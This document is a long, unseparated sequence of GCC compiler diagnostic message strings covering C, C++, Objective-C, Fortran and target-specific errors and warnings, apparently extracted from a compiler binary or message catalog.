uninitialized const fieldsmember functions are implicitly friends of their classmemory input %d is not directly addressablemethod '%s' not found in classmethod declaration not in @interface contextmethod definition for %<%c%s%> not foundmethod definition not in @implementation contextmethod possibly missing a [super dealloc] callminimum value of parameter %qs is %umips16 function profilingmips_debugger_offset called with non stack/frame/arg pointermismatched argument pack lengths while expanding %<%E%>mismatched argument pack lengths while expanding %<%T%>mismatched argumentsmismatching signature for field '%s' in '%s'misplaced ConstantValue attribute (not in any field)missing $ operand number in formatmissing %<(%> after %<#pragma GCC visibility push%> - ignoredmissing %<(%> after %<#pragma pack%> - ignoredmissing %<(%> after %<#pragma pop_macro%> - ignoredmissing %<(%> after %<#pragma push_macro%> - ignoredmissing %<)%> after %<#pragma pop_macro%> - ignoredmissing %<)%> after %<#pragma push_macro%> - ignoredmissing '(' after '#pragma unused', ignoringmissing ')' after '#pragma unused', ignoringmissing Code attributemissing PHI defmissing REG_EH_REGION note in the end of bb %imissing [error|warning|ignored] after %<#pragma GCC diagnostic%>missing argument in %<__builtin_args_info%>missing argument to "%s"missing argument to "-%s"missing argument to '%s' optionmissing barrier after block %imissing braces around initializermissing braces around initializer for %qTmissing callgraph edge for call stmt:missing close brace for named operandmissing close parenmissing controlling predicatemissing definitionmissing edge %i->%imissing field '%s' in '%s'missing filename after %qsmissing fill character at end of strfmon formatmissing increment expressionmissing initializermissing initializer for member %qDmissing makefile target after %qsmissing numbermissing open parenmissing operandmissing option after %<#pragma GCC diagnostic%> kindmissing path after %qsmissing sentinel in function callmissing terminating %c charactermissing type-name in typedef-declarationmixing C++ and Java catches in a single translation unitmno-cygwin and mno-win32 are not compatiblemode %qs applied to inappropriate typemode precision of non-integral result does not match field size of BIT_FIELD_REFmore than %d operands in %<asm%>move insn not handledms-bitfields not supported for objcms_abi and sysv_abi attributes are not compatiblems_abi attribute requires -maccumulate-outgoing-args or subtarget optimization implying itmudflap cannot track %qs in stub functionmudflap cannot track unknown size extern %qsmudflap checking not yet implemented for ARRAY_RANGE_REFmudflap: this language is not supportedmultidimensional array must have bounds for all dimensions except the firstmultilib exclusion '%s' is invalidmultilib exclusions '%s' is invalidmultilib select '%s' is invalidmultilib spec '%s' is invalidmultiple %s named %<%c%s%> foundmultiple default labels in one switchmultiple definition of %q#Tmultiple fields in union %qT initializedmultiple function type attributes specifiedmultiple hot/cold transitions found (bb %i)multiple inline callersmultiple interrupt attributes not allowedmultiple parameters named %q+Dmultiple storage classes in declaration of %qsmultiple storage classes in declaration specifiersmultiple types in one declarationmust #include <typeinfo> before using typeidmust use %<.*%> or %<->*%> to call pointer-to-member function in %<%E (...)%>, e.g. %<(... ->* %E) (...)%>mvcle usemysterious repository information in %sname %qD used in a GNU-style designated initializer for an arrayname %qT has incomplete typename lookup of %qD changedname lookup of %qD changed for ISO %<for%> scopingname missing for member functionname of class shadows template template parameter %qDname used in a GNU-style designated initializer for an arraynamed block DO at %L requires matching ENDDO namenamespace %qD not allowed in using-declarationnamespace alias %qD not allowed here, assuming %qDnamespace-scope anonymous aggregates must be staticnarrowing conversion of %qE from %qT to %qT inside { }need to insert runtime check for %snegative insn lengthnegative integer implicitly converted to unsigned typenegative nesting depth of region %inegative width in bit-field %q+Dnegative width in bit-field %qsneither the destructor nor the class-specific operator delete will be called, even if they are declared when the class is defined.nested assembly dialect alternativesnested extern declaration of %qDnested function %q+D declared but never definednested function %qs declared %<extern%>nested functions are limited to 2 register parametersnested redefinition of %<enum %E%>nested redefinition of %<struct %E%>nested redefinition of %<union %E%>new cannot be applied to a function typenew cannot be applied to a reference typenew declaration %q#Dno %<%D(int)%> declared for postfix %qs, trying prefix operator insteadno %<%c%s%> method foundno %q#D member function declared in class %qTno FUNCTION_PROFILER for CRISno argumentsno arguments for spec functionno class name specified with %qsno class template named %q#T in %q#Tno closing %<]%> for %<%%[%> formatno corresponding deallocation function for %qDno coverage for function %qs foundno data type for mode %qsno default argument for %qDno description yetno field %qD found in union being initializedno immediate_use listno input file specifiedno input filesno input files; unwilling to write output filesno integral type can represent all of the enumerator values for %qTno low registers available for popping high registersno match for call to %<(%T) (%A)%>no matches converting function %qD to type %q#Tno matching function for call to %<%D(%A)%>no matching function for call to %<%T::%s(%A)%#V%>no matching push for %<#pragma GCC visibility pop%>no matching template for %qD foundno member function %qD declared in %qTno members matching %<%T::%D%> in %q#Tno previous declaration for %q+Dno previous prototype for %q+Dno processor type specified for linkingno profiling of 64-bit code for this ABIno register in addressno return statement in function returning non-voidno sclass for %s stab (0x%x)no semicolon at end of struct or unionno suitable %<operator %s%> for %qTno suitable %qD found in class %qTno super class declared in @interface for %qsno super class declared in interface for %qsno unique final overrider for %qD in %qTnode not found in cgraph_hashnodes with unreleased memory foundnon-addressable variable inside an alias setnon-const integer argument %u in call to function %qEnon-constant DATA value at %Lnon-constant array in DATA statement %Lnon-constant array size in new, unable to verify length of initializer-listnon-constant condition for static assertionnon-deleted function %q+Dnon-floating-point argument in call to function %qEnon-floating-point arguments in call to function %qEnon-function in gimple callnon-integral used in conditionnon-local function %q#D uses anonymous typenon-local function %q#D uses local type %qTnon-local variable %q#D uses anonymous typenon-local variable %q#D uses local type %qTnon-lvalue array in conditional expressionnon-member %qs cannot be declared %<mutable%>non-member function %qD cannot have cv-qualifiernon-memory input %d must stay in memorynon-object member %qs cannot be declared %<mutable%>non-parameter %qs cannot be a parameter packnon-register as LHS of binary operationnon-register as LHS of unary operationnon-standard suffix on floating constantnon-static const member %q#D, can't use default assignment operatornon-static const member %q+#D in class without a constructornon-static data member %qD has Java class typenon-static declaration of %q+D follows static declarationnon-static initialization of a flexible array membernon-static method %q+D overrides static methodnon-static reference %q+#D in class without a constructornon-static reference member %q#D, can't use default assignment operatornon-template type %qT used as a templatenon-thread-local declaration of %q+D follows thread-local declarationnon-trivial conversion at assignmentnon-trivial conversion in unary operationnon-trivial designated initializers not supportednonconstant array index in initializernonempty exits list of loop %d, but exits are not recordednonlocal label nonnull argument has invalid operand number (argument %lu)nonnull argument references non-pointer operand (argument %lu, operand %lu)nonnull argument with out-of-range operand number (argument %lu, operand %lu)nonnull attribute without arguments on a non-prototypenot a valid Java .class filenot configured for ABI: '%s'not configured with sysroot headers suffixnot enough DO loops for collapsed !$OMP DO at %Lnot enough arguments to function %qEnot enough perfectly nested loopsnot enough type informationnot enough variable arguments to fit a sentinelnot protecting function: no buffer at least %d bytes longnot protecting local variables: variable length buffernot yet implemented: latency-optimized inline square rootnote: null argument where non-null required (argument %lu)num_threads expression must be integralnumber must be 0 or 1number of arguments doesn%'t match built-in prototypenumber of arguments doesn%'t match prototypenumber of bb notes in insn chain (%d) != n_basic_blocks (%d)number of components of the vector not a power of twonumber of counters is %d instead of %dobject %qE of incomplete type %qT will not be accessed in %sobject missing in reference to %q+Dobject missing in use of %qEobject of incomplete type %qT will not be accessed in %sobject of type %qT will not be accessed in %sobject type %qT does not match destructor name ~%qTobject with variably modified type must have no linkageobsolete option -I- used, please use -iquote insteadobsolete use of designated initializer with %<:%>obsolete use of designated initializer without %<=%>offset of %q+D is not ABI-compliant and may change in a future version of GCCoffset of empty base %qT may not be ABI-compliant and maychange in a future version of GCCoffset of virtual base %qT is not ABI-compliant and may change in a future version of GCCoffset outside bounds of constant stringomitted middle operand to %<?:%> operand cannot be mangledonly declarations of constructors can be %<explicit%>only initialized variables can be placed into program memory areaonly uninitialized variables can be placed in a .bss sectiononly uninitialized variables can be placed in the .noinit sectiononly weak aliases are supported in this configurationopaque vector types cannot be initializedopen /dev/zero: %mopening dependency file %s: %mopening output file %s: %mopening output file %s: %soperand 1 must be a hard registeroperand constraint contains incorrectly positioned %<+%> or %<=%>operand constraints for %<asm%> differ in number of alternativesoperand is neither a constant nor a condition code, invalid operand code 'C'operand is neither a constant nor a condition code, invalid operand code 'F'operand is neither a constant nor a condition code, invalid operand code 'c'operand is neither a constant nor a condition code, invalid operand code 'f'operand is not a condition code, invalid operand code 'D'operand number missing after %%-letteroperand number out of rangeoperand number out of range in formatoperand number specified for format taking no argumentoperand number specified with suppressed assignmentoperands to ?: have different types %qT and %qToperation on %qE may be undefinedoptimization may eliminate reads and/or writes to register variablesoptimizing for size and code size would growoption("%s") was already specifiedoptions enabled: options passed: ordered comparison of pointer with integer zeroordered region may not be closely nested inside of critical or explicit task regionordered region must be closely nested inside a loop region with an ordered clauseoriginally indirect function call not considered for inliningout of memoryouter block of region %i is wrongoutput constraint %d cannot be specified together with "%s" clobberoutput constraint %d must specify a single registeroutput constraint %qc for operand %d is not at the beginningoutput filename specified twiceoutput number %d not directly addressableoutput operand %d must use %<&%> constraintoutput operand constraint lacks %<=%>output operand is constant in %<asm%>output regs must be grouped at top of stackoutput_move_single:overflow in array dimensionoverflow in constant expressionoverflow in enumeration valuesoverflow in enumeration values at %qDoverflow in implicit constant conversionoverflowed output arg list for '%s'overriding deleted function %q+Doverriding non-deleted function %q+Dpacked attribute causes inefficient alignmentpacked attribute causes inefficient alignment for %q+Dpacked attribute causes inefficient alignment for %qspacked attribute is unnecessarypacked attribute is unnecessary for %q+Dpacked attribute is unnecessary for %qspadding struct size to alignment boundarypadding struct to align %q+Dparameter %P has incomplete type %qTparameter %P of %qD has incomplete type %qTparameter %q+D declared %<inline%>parameter %q+D declared with void typeparameter %q+D has incomplete typeparameter %q+D has just a forward declarationparameter %qD declared voidparameter %qD has Java class typeparameter %qD includes %s to array of unknown bound %qTparameter %qD invalidly declared method typeparameter %qD is initializedparameter %u (%q+D) has incomplete typeparameter %u (%q+D) has void typeparameter declared %<auto%>parameter list does not match a valid signature for %s()parameter may not have variably modified type %qTparameter names (without types) in function declarationparameter pack %qE must be at the end of the template parameter listparameter pack %qT must be at the end of the template parameter listparameter pack argument %qE must be at the end of the template argument listparameter pack argument %qT must be at the end of the template argument listparameter packs must be at the end of the parameter listparameter packs not expanded with %<...%>:parentheses around %qE cannot be used to form a pointer-to-member-functionparenthesized initialization is not allowed in OpenMP %<for%> looppartial specialization %qT declared %<friend%>partial specialization %qT does not specialize any template argumentspassing %qT as %<this%> argument of %q#D discards qualifierspassing %qT chooses %qT over %qTpassing NULL to non-pointer argument %P of %qDpassing arg %d of %qE discards qualifiers frompointer target typepassing argument %d of %qE as %<float%> rather than %<double%> due to prototypepassing argument %d of %qE as %qT rather than %qT due to prototypepassing argument %d of %qE as complex rather than floating due to prototypepassing argument %d of %qE as complex rather than integer due to prototypepassing argument %d of %qE as floating rather than complex due to prototypepassing argument %d of %qE as floating rather than integer due to prototypepassing argument %d of %qE as integer rather than complex due to prototypepassing argument %d of %qE as integer rather than floating due to prototypepassing argument %d of %qE as signed due to prototypepassing argument %d of %qE as unsigned due to prototypepassing argument %d of %qE discards qualifiers from pointer target typepassing argument %d of %qE from distinct Objective-C typepassing argument %d of %qE from incompatible pointer typepassing argument %d of %qE makes integer from pointer without a castpassing argument %d of %qE makes pointer from integer without a castpassing argument %d of %qE makes qualified function pointer from unqualifiedpassing argument %d of %qE with different width due to prototypepassing floating point arguments in fp regs not yet supportedpc%d is not valid precision setting (32, 64 or 80)pch_preprocess pragma should only be used with -fpreprocessedpedwarn: permerror: pex_init failedpicochip_asm_output_opcode - Found multiple lines in VLIW packet %s
picochip_asm_output_opcode - can't output unknown operator %c
picochip_print_memory_address - Operand isn't memory basedpointer arithmetic for garbage-collected objects not allowedpointer assignmentpointer escapes but its name tag is not call-clobberedpointer of type %<void *%> used in arithmeticpointer of type %<void *%> used in subtractionpointer targets in assignment differ in signednesspointer targets in initialization differ in signednesspointer targets in passing argument %d of %qE differ in signednesspointer targets in return differ in signednesspointer to a function used in arithmeticpointer to a function used in subtractionpointer to member conversion via virtual base %qTpointer to member function used in arithmeticpointer to member type %qT incompatible with object type %qTpointer type mismatch in conditional expressionpointer value used where a complex was expectedpointer value used where a floating point value was expectedpointer-to-member function %E cannot be called without an object; consider using .* or ->*pointer/integer type mismatch in conditional expressionpointers are not permitted as case valuespointers with a memory tag, should have points-to setspossible problem detected in invocation of delete operator:post-increment address is not a registerpostfix %qD must take %<int%> as its argumentpostfix %qD must take %<int%> as its second argumentpostfix %qD should return %qTpre-decrement address is not a registerpre-increment address is not a registerprecisionprecision in printf formatpredicated Thumb instructionpredicated instruction in conditional sequenceprefix %qD should return %qTprev_bb of %d should be %d, not %dprevious declaration %q+#D hereprevious declaration %q+Dprevious declaration %q+D used %d template parameter(s)previous declaration of %q+#Dprevious declaration of %q+#D with %qL linkageprevious declaration of %q+Dprevious declaration of %q+D was hereprevious declaration of %q+D was inlineprevious declaration of %q+D with attribute noinlineprevious declaration of %qsprevious declaration of namespace %q+D hereprevious definition of %q+D was hereprevious external decl of %q+#Dprevious implicit declaration of %q+D was hereprevious non-function declaration %q+#Dprivate member %q+#D in anonymous structprivate member %q+#D in anonymous unionprofiler support for VxWorksprofiling not supported with -mg
programs: %s
promoted argument %qD doesn%'t match built-in prototypepromoted argument %qD doesn%'t match prototypepromoted ~unsigned is always non-zeroprotected member %q+#D in anonymous structprotected member %q+#D in anonymous unionprotocol %qs has circular dependencyprototype declarationprototype for %q#D does not match any in class %qTprototype for %q+#Dprototype for %q+D declares argument %d with incompatible typeprototype for %q+D declares fewer arguments than previous old-style definitionprototype for %q+D declares more arguments than previous old-style definitionprototype for %q+D follows non-prototype definitionprovided for %q+Dpseudo-destructor is not calledqualified function types cannot be used to declare free functionsqualified function types cannot be used to declare static member functionsqualified type %qT does not match destructor name ~%qTqualifiers are not allowed on declaration of %<operator %T%>qualifiers can only be specified for objects and functionsr0 needs to be available as a call-clobbered registerrange expressions in switch statements are non-standardread-only location %qE used as %<asm%> outputread-only member %qD used as %<asm%> outputread-only variable %qD used as %<asm%> outputreading class %s for the second time from %sreading through null pointer (argument %d)real kind=8 not available for -fdefault-real-8 optionrecursive evaluation of default argument for %q#Drecursive inliningrecursive type %qT undefinedredeclaration of %<enum %E%>redeclaration of %<wchar_t%> as %qTredeclaration of %q+D with different visibility (old visibility preserved)redeclaration of %q+D with no linkageredeclaration of %qT as a non-templateredeclaration of C++ built-in type %qTredeclaration of enumerator %q+Dredeclared here as %q#Dredeclared with %d template parameter(s)redefined extern inline functions are not considered for inliningredefinition of %<struct %E%>redefinition of %<union %E%>redefinition of %q#Tredefinition of %q+Dredefinition of default argument for %q#Dredefinition of parameter %q+Dredefinition of typedef %q+Dredundant redeclaration of %q+Dredundant redeclaration of %qD in same scopereference %qs is ambiguous: appears in interface %qs and interface %qsreference to %qD is ambiguousreference to local variable %q+D returnedreference to non-PURE function '%s' at %L inside a FORALL %sreference to non-lvalue returnedregion %i may contain throw and is contained in region that may notregion_array is corrupted for region %iregister name given for non-register variable %q+Dregister name not specified for %q+Dregister specified for %q+D isn%'t suitable for data typeregister used for two global register variablesregister variable %qD used in nested functionregister variable %qs used in nested functionregisters IX, IY and Z used in the same INSNreimplementation of class %qsreinterpret_cast from type %qT to type %qT casts away constnessremoving .rpo filerename spec %s to %s
renaming .rpo filerepeated %s in formatrepeated using declaration %q+Drepository file '%s' does not contain command-line argumentsrequest for implicit conversion from %qT to %qT not permitted in C++request for member %qD in %qE, which is of non-class type %qTrequest for member %qD is ambiguousrequest for member %qD is ambiguous in multiple inheritance latticerequest for member %qE in something not a structure or unionrequested alignment for %q+D is greater than implemented alignment of %wurequested alignment is not a constantrequested alignment is not a power of 2requested alignment is too largerequested init_priority is not an integer constantrequested init_priority is out of rangerequested init_priority is reserved for internal userequested position is less than zerorequested position is not an integer constantresult of %<operator->()%> yields non-pointer resultreturn discards qualifiers from pointer target typereturn edge does not point to exit in bb %dreturn from incompatible pointer typereturn makes integer from pointer without a castreturn makes pointer from integer without a castreturn makes qualified function pointer from unqualifiedreturn not followed by barrierreturn type %q#T is incompletereturn type defaults to %<int%>return type has Java class type %q#Treturn type is an incomplete typereturn type might be a candidate for a format attributereturn type of %q+D is not %<int%>return type specification for constructor invalidreturn type specification for destructor invalidreturn type specified for %<operator %T%>return-statement with a value, in function returning 'void'return-statement with no value, in function returning %qTreturning a value from a constructorreturning a value from a destructorreturning reference to temporaryright precisionright precision in strfmon formatright rotate count >= width of typeright rotate count is negativeright shift count >= width of typeright shift count is negativerounding mode not supported for VAX floatssame canonical type node for different types %T and %Tsay %<typename %E%> if a type is meantscalar object %qD requires one element in initializerschedule %<auto%> does not take a %<chunk_size%> parameterschedule %<runtime%> does not take a %<chunk_size%> parameterschedule chunk size expression must be integralsecond argument of %q+D should be %<char **%>second argument to %<__builtin_prefetch%> must be a constantsecond operand to the conditional operator is of type %<void%>, but the third operand is neither a throw-expression nor of type %<void%>second parameter of %<va_start%> not last named argumentsection anchors must be disabled when toplevel reorder is disabledsection attribute not allowed for %q+Dsection of %q+D cannot be overriddensection of %q+D conflicts with previous declarationselector must be an immediateselector must be an integer constant in the range 0..%wisetting core file size limit to maximum: %mshadowing %s function %q#Dshadowing previous type declaration of %q#Dshared and mdll are not compatibleshared call_stmt:shared rtxside effects not recomputed when ADDR_EXPR changedsigned and unsigned type in conditional expressionsignness of type and machine mode %qs don't matchsimple IFsize assigned to %qT may not be ABI-compliant and may change in a future version of GCCsize in array new must have integral typesize of %q+D is %d bytessize of %q+D is larger than %wd bytessize of array %qD has non-integral type %qTsize of array %qD is negativesize of array %qD is not an integral constant-expressionsize of array %qs has non-integer typesize of array %qs is negativesize of array %qs is too largesize of array has non-integral type %qTsize of array is negativesize of array is not an integral constant-expressionsize of array is too largesize of loop %d should be %d, not %dsize of return value of %q+D is %u bytessize of return value of %q+D is larger than %wd bytessize of variable %q+D is too largesizeof(long double) is 12sizeof(long double) is 16soft-float and long-double-128 are incompatiblesorry, unimplemented: sorry: semantics of inline function static data %q+#D are wrong (you'll wind up with multiple copies)spec '%s' has invalid '%%0%c'spec '%s' has invalid '%%W%cspec '%s' has invalid '%%x%c'spec '%s' invalidspec '%s' is invalidspec failure: '%%*' has not been initialized by pattern matchspec failure: more than one arg to SYSROOT_HEADERS_SUFFIX_SPECspec failure: more than one arg to SYSROOT_SUFFIX_SPECspec failure: unrecognized spec option '%c'spec file has no spec for linkingspec is '%s'

specialization %qT after instantiation %qTspecialization of %qD after instantiationspecialization of %qD in different namespacespecialization of %qT after instantiationspecialization of implicitly-declared special member functionspecializing %q#T in different namespacespecified mode too small for enumeral valuesspecifying vector types with __attribute__ ((mode)) is deprecatedspecs %%include syntax malformed after %ld charactersspecs %%rename syntax malformed after %ld charactersspecs %s spec was not found to be renamedspecs file malformed after %ld charactersspecs unknown %% command after %ld charactersspurious trailing %<%%%> in formatstack frame not a multiple of 8 bytes: %wdstack frame not a multiple of octabyte: %wdstack frame too largestack guard value must be an exact power of 2stack limit expression is not supportedstack limits not supported on this targetstack probing requires %saccumulate-outgoing-args%s for correctnessstack size must be an exact power of 2stack size must be greater than the stack guard valuestack size must not be greater than 64kstack underflow - dup* operationstackframe too big: %d bytesstandard conversions are not allowed in this contextstatement makes a memory store, but has no VDEFSstatement marked for throw in middle of blockstatement marked for throw, but doesn%'tstatement with no effectstatic %qs cannot be declared %<mutable%>static assertion failed: %Estatic declaration of %q+D follows non-static declarationstatic is not supported on TPF-OSstatic member %qD cannot be a bit-fieldstatic member %qD declared %<register%>static member function %q#D declared with type qualifiersstatic member function %qD cannot have cv-qualifierstatic or type qualifiers in non-parameter array declaratorstatic variable %q+D is marked dllimportstatic_cast from type %qT to type %qT casts away constnessstatically allocated instance of Objective-C class %qsstdcall and cdecl attributes are not compatiblestdcall and fastcall attributes are not compatiblestmt (%p) marked modified after optimization pass: storage class %<__thread%> invalid for function %qsstorage class %<auto%> invalid for function %qsstorage class %<register%> invalid for function %qsstorage class %qD applied to template instantiationstorage class specified for %qsstorage class specified for parameter %qsstorage class specified for structure field %qsstorage class specified for typenamestorage class specifiers invalid in friend function declarationsstorage class specifiers invalid in parameter declarationsstorage size of %q+D isn%'t constantstorage size of %q+D isn%'t knownstorage size of %qD isn't constantstorage size of %qD isn't knownstray %<\%o%> in programstray %qc in programstray %qs in programstrftime formats cannot format argumentsstring length %qd is greater than the length %qd ISO C%d compilers are required to supportstrong using only meaningful at namespace scopestrong-cast assignment has been interceptedstrong-cast may possibly be neededstruct has no membersstruct has no named membersstructure %qD with uninitialized const membersstructure %qD with uninitialized reference membersstructure alignment must be a small power of two, not %dstructure size boundary can only be set to %ssubframework include %s conflicts with framework includesubscript missing in array referencesubscripted value is neither array nor pointersubscripted value is pointer to functionsubscripting array declared %<register%>suggest braces around empty body in %<do%> statementsuggest braces around empty body in an %<else%> statementsuggest braces around empty body in an %<if%> statementsuggest explicit braces around empty body in %<do%> statementsuggest parentheses around %<&&%> within %<||%>suggest parentheses around %<+%> in operand of %<&%>suggest parentheses around %<+%> inside %<<<%>suggest parentheses around %<+%> inside %<>>%>suggest parentheses around %<-%> in operand of %<&%>suggest parentheses around %<-%> inside %<<<%>suggest parentheses around %<-%> inside %<>>%>suggest parentheses around %<>>%> expressionsuggest parentheses around arithmetic in operand of %<^%>suggest parentheses around arithmetic in operand of %<|%>suggest parentheses around assignment used as truth valuesuggest parentheses around comparison in operand of %<!=%>suggest parentheses around comparison in operand of %<&%>suggest parentheses around comparison in operand of %<==%>suggest parentheses around comparison in operand of %<^%>suggest parentheses around comparison in operand of %<|%>suggest parentheses around operand of %<!%> or change %<&%> to %<&&%> or %<!%> to %<~%>suggest parentheses around operand of %<!%> or change %<|%> to %<||%> or %<!%> to %<~%>support for mode %qsswitch %qs is no longer supportedswitch '%s' does not start with '-'switch -mcpu=%s conflicts with -march= switchswitch quantity not an integerswitch statement of size %lu entries too largesynthesized method %qD first required here system path '%s' is not absolutetaking address of temporarytaking the address of a label is non-standardtarget CPU does not support ARM modetarget CPU does not support THUMB instructionstarget CPU does not support interworkingtarget attribute is not supported on this machinetarget format does not support infinitytarget specific option mismatchtarget system does not support debug outputtarget system does not support the "%s" debug formattemplate argument %d is invalidtemplate argument %qE involves template parameter(s)template argument for %qD uses local type %qTtemplate argument required for %<%s %T%>template arguments to %qD do not match original template %qDtemplate class without a nametemplate declaration of %q#Dtemplate definition of non-template %q#Dtemplate header not allowed in member definition of explicitly specialized classtemplate instantiation depth exceeds maximum of %d (use -ftemplate-depth-NN to increase the maximum) instantiating %qDtemplate instantiation depth exceeds maximum of %d instantiating %q+D, possibly from virtual table generation (use -ftemplate-depth-NN to increase the maximum)template parameter %q+#Dtemplate parameter %qD of type %qT is not allowed in an integral constant expression because it is not of integral or enumeration typetemplate parameter list used in explicit instantiationtemplate parameter lists provided don't match the template parameters of %qDtemplate parameter type %qT declared %<friend%>template parameters cannot be friendstemplate parameters do not match templatetemplate parameters not used in partial specialization:template specifiers not specified in declaration of %qDtemplate type parameters must use the keyword %<class%> or %<typename%>template-id %qD for %q+D does not match any template declarationtemplate-id %qD in declaration of primary templatetemplate-id %qD used as a declaratorthat particular -g option is invalid with -maout and -melinuxthe %qs architecture does not support branch-likely instructionsthe %qs architecture does not support paired-single instructionsthe ' ' printf flagthe '!' strfmon flagthe '#' printf flagthe '#' strftime flagthe '%s' and '%s' arguments of '%s' intrinsic at %L must be of the same kind %d/%dthe '%s' and '%s' arguments of '%s' intrinsic at %L must have the same rank %d/%dthe ''' printf flagthe ''' scanf flagthe '(' strfmon flagthe '+' printf flagthe '+' strfmon flagthe '-' printf flagthe '-' strfmon flagthe '-' strftime flagthe '0' printf flagthe '0' strftime flagthe 'E' strftime modifierthe 'I' printf flagthe 'I' scanf flagthe 'O' modifierthe 'O' strftime modifierthe '^' strfmon flagthe '^' strftime flagthe '_' strftime flagthe 'a' scanf flagthe 'm' scanf flagthe 'q' diagnostic flagthe -mno-tablejump switch is deprecatedthe -shared option is not currently supported for VAX ELFthe address of %qD will always evaluate as %<true%>the address of %qD will never be NULLthe assignment suppression scanf featurethe default argument for parameter %d of %qD has not yet been parsedthe fifth argument must be a 8-bit immediatethe first parameter of %<operator new%> cannot have a default argumentthe frame size of %wd bytes is larger than %wd bytesthe last argument must be a 1-bit immediatethe last argument must be a 2-bit immediatethe last argument must be a 4-bit immediatethe last argument must be a 5-bit immediatethe last argument must be an 8-bit immediatethe m210 does not have little endian supportthe mangled name of %qD will change in a future version of GCCthe mangling of %<va_list%> has changed in GCC 4.4the next to last argument must be an 8-bit immediatethe offset of %qD may not be ABI-compliant and may change in a future version of GCCthe result of the conversion is unspecified because %qE is outside the range of type %qTthe size of array %qs can%'t be evaluatedthe size of array can %'t be evaluatedthe third argument must be a 8-bit immediatethe type being destroyed is %qT, but the destructor refers to %qTthe type of '%s' at %C has not been declared within the interfacethere are no arguments to %qD that depend on a template parameter, so a declaration of %qD must be availablethird argument of %q+D should probably be %<char **%>third argument to %<__builtin_prefetch%> must be a constantthird operand to the conditional operator is of type %<void%>, but the second operand is neither a throw-expression nor of type %<void%>this builtin function is only available on the fr405 and fr450this builtin function is only available on the fr450this builtin function is only available on the fr500 and fr550this can result in poorly optimized codethis decimal constant is unsigned only in ISO C90this decimal constant would be unsigned in ISO C90this is the insn:this media function is only available on the fr400 and fr550this media function is only available on the fr500this target does not support %qsthis target machine does not have delayed branchesthread-local COMMON data not implementedthread-local declaration of %q+D follows non-thread-local declarationthrowing NULL, which has integral, not pointer typetime in %s: %ld.%06ld (%ld%%)
tls_model argument must be one of "local-exec", "initial-exec", "local-dynamic" or "global-dynamic"tls_model argument not a stringto generate dependencies you must specify either -M or -MMto refer to a type member of a template parameter, use %<typename %E%>too few arguments for formattoo few arguments to %%:version-comparetoo few arguments to %s %q+#Dtoo few arguments to functiontoo few arguments to function %<va_start%>too few arguments to function %qEtoo few template parameter lists in declaration of %qDtoo large function value type, needs %d registers, have only %d registers for thistoo late for # directive to set debug directorytoo many #pragma options align=resettoo many %qs clausestoo many alternatives in %<asm%>too many arguments for formattoo many arguments to %%:version-comparetoo many arguments to %s %q+#Dtoo many arguments to functiontoo many arguments to function %qEtoo many arguments to overloaded function %stoo many braces around initializer for %qTtoo many filenames given.  Type %s --help for usagetoo many initializers for %qTtoo many input filestoo many outgoing branch edges from bb %itoo many template parameter lists in declaration of %qDtoo much stack space to dispose of: %dtoo much stack space to prepare: %dtop-level declaration of %qs specifies %<auto%>total size of local variables exceeds architecture limittraditional C rejects automatic aggregate initializationtraditional C rejects initialization of unionstraditional C rejects string constant concatenationtraditional C rejects the unary plus operatortrampolines not supportedtransformational intrinsic '%s' at %L is not permitted in an initialization expressiontrap mode not supported for VAX floatstrap mode not supported on Unicos/Mktree check: %s, have %s in %s, at %s:%dtree check: accessed elt %d of tree_vec with %d elts in %s, at %s:%dtree check: accessed operand %d of %s with %d operands in %s, at %s:%dtree check: accessed operand %d of omp_clause %s with %d operands in %s, at %s:%dtree check: did not expect class %qs, have %qs (%s) in %s, at %s:%dtree check: expected class %qs, have %qs (%s) in %s, at %s:%dtree check: expected none of %s, have %s in %s, at %s:%dtree check: expected omp_clause %s, have %s in %s, at %s:%dtree check: expected tree that contains %qs structure, have %qs in %s, at %s:%dtree list ends on depth %itrue/false edge after a non-GIMPLE_COND in bb %dtry reducing the number of local variablestry removing the parentheses around the type-idtry using %qE insteadtrying to finish struct, but kicked out due to previous parse errorstrying to make class %qT a friend of global scopetwo or more data types in declaration of %qstwo or more data types in declaration specifierstype %q#T argument given to %<delete%>, expected pointertype %q+D does not have a known sizetype %qT for explicit instantiation %qD does not match declared type %qTtype %qT is disallowed in Java %<throw%> or %<catch%>type %qT is not a base type for type %qTtype %qT is not a direct base of %qTtype %qT is not a direct or virtual base of %qTtype %qT is not derived from %<java::lang::Throwable%>type %qT is not derived from type %qTtype %qT of template argument %qE depends on template parameter(s)type %qs has a user-defined constructortype %qs has a user-defined destructortype %qs has no default constructor to calltype %qs has virtual member functionstype attributes ignored after type is already definedtype defaults to %<int%> in declaration of %qstype is deprecatedtype is deprecated (declared at %s:%d)type mismatch between an SSA_NAME and its symboltype mismatch in address expressiontype mismatch in array range referencetype mismatch in array referencetype mismatch in binary expressiontype mismatch in binary truth expressiontype mismatch in comparison expressiontype mismatch in complex expressiontype mismatch in component referencetype mismatch in conditional expressiontype mismatch in indirect referencetype mismatch in nontype parameter packtype mismatch in pointer plus expressiontype mismatch in real/imagpart referencetype mismatch in shift expressiontype mismatch in vector shift expressiontype mismatch with previous external decl of %q#Dtype of %q+D defaults to %<int%>type of %qE is unknowntype of array %q+D completed incompatibly with implicit initializationtype of asm operand %qE could not be determinedtype of bit-field %qs is a GCC extensiontype of formal parameter %d is incompletetype qualifiers ignored on function return typetype qualifiers specified for friend class declarationtype size can%'t be explicitly evaluatedtype to vector delete is neither pointer or array typetype-punning to incomplete type might break strict-aliasing rulestype/value mismatch at argument %d in template parameter list for %qDtypedef %q+D declared %<inline%>typedef %qD is initialized (use __typeof__ instead)typedef %qD is initialized (use decltype instead)typedef declaration invalid in parameter declarationtypes are not quite compatibleunable to compute real location of stacked parameterunable to deduce %qT from %qEunable to determine the declared type of expression %<%E%>unable to emulate %qsunable to find a register to spill in class %qsunable to generate reloads for:unable to open dynamic dependency '%s'unable to use '%s' for PIC registerunconditional %2d never executed
unconditional %2d taken %s
undeclared selector %qsundefined behaviour when second parameter of %<va_start%> is declared with %<register%> storageundefined named operand %qsunderflowed virtual array %s in %s, at %s:%dunderlying type %<%T%> of %<%T%> must be an integral typeunexpected base-type in cris_print_baseunexpected index-type in cris_print_indexunexpected mode %s encountered in picochip_emit_save_register
